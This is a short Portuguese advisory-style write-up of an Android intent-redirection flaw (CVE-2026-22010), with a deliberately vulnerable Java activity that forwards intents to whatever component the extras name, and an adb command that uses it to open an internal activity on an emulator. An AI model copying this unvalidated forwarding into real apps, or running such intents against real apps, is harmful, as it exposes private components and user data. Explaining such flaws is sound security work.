CVE-2026-22010 – Redirecionamento de Intent Android para Componente Exportado

Código do Programa (Simulação Java/Android)

// VulnActivity.java - Exported activity that forwards intents
public class VulnActivity extends Activity {
    @Override
    protected void onCreate(Bundle b) {
        super.onCreate(b);
        Intent incoming = getIntent();
        // Retrieve target component from extras
        String targetPkg = incoming.getStringExtra("pkg");
        String targetCls = incoming.getStringExtra("cls");
        Intent forward = new Intent();
        forward.setClassName(targetPkg, targetCls);
        // Copy all extras from original intent
        forward.putExtras(incoming);
        startActivity(forward);
    }
}

CVE-2026-22010 – Redirecionamento de Intent Android para Componente Exportado

Visão Geral

Uma atividade Android exportada redireciona cegamente intents recebidas para um componente especificado nos extras da intent. Um atacante pode criar uma intent que faz o aplicativo iniciar uma atividade interna protegida com dados controlados pelo atacante, ignorando verificações de permissão.

Detalhes da Vulnerabilidade

• Tipo: Redirecionamento de Intent / Bypass de Permissão
• Impacto: Acesso a componentes privados, roubo de dados.
• Causa raiz: O aplicativo não valida o componente de destino (nome do pacote e da classe) antes de encaminhar a intent.

Demonstração de Exploração

Implante o aplicativo vulnerável em um emulador Android. Envie uma intent via adb:

adb shell am start -n com.example/.VulnActivity --es pkg com.example.internal --es cls com.example.SecretActivity

A atividade interna é iniciada sem as permissões adequadas.